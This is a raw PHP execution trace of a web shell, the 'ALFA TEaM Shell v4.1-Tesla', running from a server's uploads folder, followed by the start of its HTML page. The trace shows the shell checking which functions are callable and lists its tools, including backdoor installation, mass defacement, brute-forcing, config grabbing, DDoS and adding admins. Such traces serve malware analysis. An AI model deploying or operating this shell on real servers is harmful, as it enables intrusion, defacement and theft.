8 457 0 0.114091 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wait'
8 457 1 0.114105 3801584
8 457 R 'pcntl_wait'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wait'
8 458 0 0.114131 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wait'
8 458 1 0.114145 3801584
8 458 R FALSE
8 459 0 0.114157 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wifexited'
8 459 1 0.114172 3801584
8 459 R 'pcntl_wifexited'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wifexited'
8 460 0 0.114200 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wifexited'
8 460 1 0.114215 3801584
8 460 R FALSE
8 461 0 0.114227 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wifstopped'
8 461 1 0.114241 3801584
8 461 R 'pcntl_wifstopped'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wifstopped'
8 462 0 0.114268 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wifstopped'
8 462 1 0.114283 3801584
8 462 R FALSE
8 463 0 0.114296 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wifsignaled'
8 463 1 0.114310 3801584
8 463 R 'pcntl_wifsignaled'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wifsignaled'
8 464 0 0.114337 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wifsignaled'
8 464 1 0.114352 3801584
8 464 R FALSE
8 465 0 0.114364 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wifcontinued'
8 465 1 0.114382 3801584
8 465 R 'pcntl_wifcontinued'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wifcontinued'
8 466 0 0.114410 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wifcontinued'
8 466 1 0.114425 3801584
8 466 R FALSE
8 467 0 0.114437 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wexitstatus'
8 467 1 0.114451 3801584
8 467 R 'pcntl_wexitstatus'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wexitstatus'
8 468 0 0.114478 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wexitstatus'
8 468 1 0.114493 3801584
8 468 R FALSE
8 469 0 0.114505 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wtermsig'
8 469 1 0.114519 3801584
8 469 R 'pcntl_wtermsig'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wtermsig'
8 470 0 0.114546 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wtermsig'
8 470 1 0.114561 3801584
8 470 R FALSE
8 471 0 0.114573 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_wstopsig'
8 471 1 0.114587 3801584
8 471 R 'pcntl_wstopsig'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_wstopsig'
8 472 0 0.114620 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_wstopsig'
8 472 1 0.114635 3801584
8 472 R FALSE
8 473 0 0.114648 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_signal'
8 473 1 0.114662 3801584
8 473 R 'pcntl_signal'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_signal'
8 474 0 0.114689 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_signal'
8 474 1 0.114703 3801584
8 474 R FALSE
8 475 0 0.114716 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_signal_get_handler'
8 475 1 0.114730 3801584
8 475 R 'pcntl_signal_get_handler'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_signal_get_handler'
8 476 0 0.114757 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_signal_get_handler'
8 476 1 0.114772 3801584
8 476 R FALSE
8 477 0 0.114784 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_signal_dispatch'
8 477 1 0.114798 3801584
8 477 R 'pcntl_signal_dispatch'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_signal_dispatch'
8 478 0 0.114826 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_signal_dispatch'
8 478 1 0.114840 3801584
8 478 R FALSE
8 479 0 0.114853 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_get_last_error'
8 479 1 0.114867 3801584
8 479 R 'pcntl_get_last_error'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_get_last_error'
8 480 0 0.114894 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_get_last_error'
8 480 1 0.114909 3801584
8 480 R FALSE
8 481 0 0.114922 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_strerror'
8 481 1 0.114939 3801584
8 481 R 'pcntl_strerror'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_strerror'
8 482 0 0.114966 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_strerror'
8 482 1 0.114981 3801584
8 482 R FALSE
8 483 0 0.114993 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_sigprocmask'
8 483 1 0.115007 3801584
8 483 R 'pcntl_sigprocmask'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_sigprocmask'
8 484 0 0.115034 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_sigprocmask'
8 484 1 0.115049 3801584
8 484 R FALSE
8 485 0 0.115061 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_sigwaitinfo'
8 485 1 0.115075 3801584
8 485 R 'pcntl_sigwaitinfo'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_sigwaitinfo'
8 486 0 0.115102 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_sigwaitinfo'
8 486 1 0.115117 3801584
8 486 R FALSE
8 487 0 0.115129 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_sigtimedwait'
8 487 1 0.115144 3801584
8 487 R 'pcntl_sigtimedwait'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_sigtimedwait'
8 488 0 0.115171 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_sigtimedwait'
8 488 1 0.115185 3801584
8 488 R FALSE
8 489 0 0.115199 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_exec'
8 489 1 0.115212 3801584
8 489 R 'pcntl_exec'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_exec'
8 490 0 0.115238 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_exec'
8 490 1 0.115253 3801584
8 490 R FALSE
8 491 0 0.115265 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_getpriority'
8 491 1 0.115280 3801584
8 491 R 'pcntl_getpriority'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_getpriority'
8 492 0 0.115307 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_getpriority'
8 492 1 0.115322 3801584
8 492 R FALSE
8 493 0 0.115334 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_setpriority'
8 493 1 0.115348 3801584
8 493 R 'pcntl_setpriority'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_setpriority'
8 494 0 0.115375 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_setpriority'
8 494 1 0.115390 3801584
8 494 R FALSE
8 495 0 0.115402 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 'pcntl_async_signals'
8 495 1 0.115416 3801584
8 495 R 'pcntl_async_signals'
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = 'pcntl_async_signals'
8 496 0 0.115443 3801552 is_callable 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 737 1 'pcntl_async_signals'
8 496 1 0.115458 3801584
8 496 R FALSE
8 497 0 0.115470 3801552 trim 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 1 ''
8 497 1 0.115484 3801584
8 497 R ''
7 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 736 $d = ''
7 447 1 0.115512 3798704
7 447 R '<span class="header_show_all">All Functions Accessible</span>'
7 498 0 0.115533 3800496 getenv 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1001 1 'SERVER_SOFTWARE'
7 498 1 0.115552 3800576
7 498 R 'Apache/2.4.52 (Ubuntu)'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1018 $li = ['proc' => 'Process', 'phpeval' => 'Eval', 'sql' => 'SQL Manager', 'dumper' => 'Database Dumper', 'coldumper' => 'Column Dumper', 'hash' => 'En-Decoder', 'connect' => 'BC', 'zoneh' => 'ZONE-H', 'dos' => 'DDOS', 'safe' => 'ByPasser', 'cgishell' => 'Cgi Shell', 'ssiShell' => 'SSI SHELL', 'cpcrack' => 'Hash Tools', 'portscanner' => 'Port Scaner', 'basedir' => 'Open BaseDir', 'mail' => 'Fake Mail', 'ziper' => 'Compressor', 'deziper' => 'DeCompressor', 'IndexChanger' => 'Index Changer', 'pwchanger' => 'Add New Admin', 'ShellInjectors' => 'Shell Injectors', 'php2xml' => 'PHP2XML', 'cloudflare' => 'CloudFlare', 'Whmcs' => 'Whmcs DeCoder', 'symlink' => 'Symlink', 'MassDefacer' => 'Mass Defacer', 'Crackers' => 'BruteForcer', 'searcher' => 'Searcher', 'config_grabber' => 'Config Grabber', 'fakepage' => 'Fake Page', 'archive_manager' => 'Archive Manager', 'cmshijacker' => 'CMS Hijacker', 'remotedl' => 'Remote Upload', 'inbackdoor' => 'Install BackDoor', 'whois' => 'Whois', 'selfrm' => 'Remove Shell']
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'proc'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'phpeval'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'sql'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'dumper'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'coldumper'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'hash'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'connect'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'zoneh'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'dos'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'safe'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'cgishell'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'ssiShell'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'cpcrack'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'portscanner'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'basedir'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'mail'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'ziper'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'deziper'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'IndexChanger'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'pwchanger'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'ShellInjectors'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'php2xml'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'cloudflare'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'Whmcs'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'symlink'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'MassDefacer'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'Crackers'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'searcher'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'config_grabber'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'fakepage'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'archive_manager'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'cmshijacker'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'remotedl'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'inbackdoor'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'whois'
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 1024 $key = 'selfrm'
6 73 1 0.116505 3794760
6 499 0 0.116514 3794760 AlfaNum 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2369 7 8 9 10 7 6 5 4
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 756 $args = [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 757 $alfax = []
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 758 $find = []
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i = 1
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 1
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 2
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 3
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 4
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 5
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 6
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 7
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 8
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 9
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 760 $alfax[] = 10
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 759 $i++
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 8
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 9
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 10
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 7
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 6
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 5
6 A /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 763 $find[] = 4
7 500 0 0.116867 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 1 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 500 1 0.116887 3796280
7 500 R FALSE
7 501 0 0.116901 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 2 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 501 1 0.116920 3796280
7 501 R FALSE
7 502 0 0.116933 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 3 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 502 1 0.116952 3796280
7 502 R FALSE
7 503 0 0.116965 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 4 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 503 1 0.116982 3796280
7 503 R TRUE
7 504 0 0.116995 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 5 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 504 1 0.117012 3796280
7 504 R TRUE
7 505 0 0.117025 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 6 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 505 1 0.117042 3796280
7 505 R TRUE
7 506 0 0.117054 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 7 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 506 1 0.117073 3796280
7 506 R TRUE
7 507 0 0.117085 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 8 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 507 1 0.117134 3796280
7 507 R TRUE
7 508 0 0.117148 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 9 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 508 1 0.117165 3796280
7 508 R TRUE
7 509 0 0.117177 3796208 in_array 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 767 2 10 [0 => 8, 1 => 9, 2 => 10, 3 => 7, 4 => 6, 5 => 5, 6 => 4]
7 509 1 0.117194 3796280
7 509 R TRUE
6 499 1 0.117207 3794760
6 510 0 0.117214 3794760 alfafooter 1 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2371 0
7 511 0 0.117230 3794760 htmlspecialchars 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2101 1 '/var/www/html/uploads/'
7 511 1 0.117246 3794952
7 511 R '/var/www/html/uploads/'
7 512 0 0.117263 3797832 date 0 /var/www/html/uploads/0x00.php(14) : runtime-created function(1) : eval()'d code(5) : eval()'d code 2114 1 'Y'
7 512 1 0.117298 3798120
7 512 R '2023'
6 510 1 0.118977 3811144
5 72 1 0.118988 3811144
0.119023 3623056
TRACE END [2023-02-12 20:46:04.697667]
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW">
<link href="http://solevisible.com/images/alfamini.png" rel="icon" type="image/x-icon">
<title>..:: localhost ~ ALFA TEaM Shell - v4.1-Tesla ::..</title>
<style type="text/css">.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s 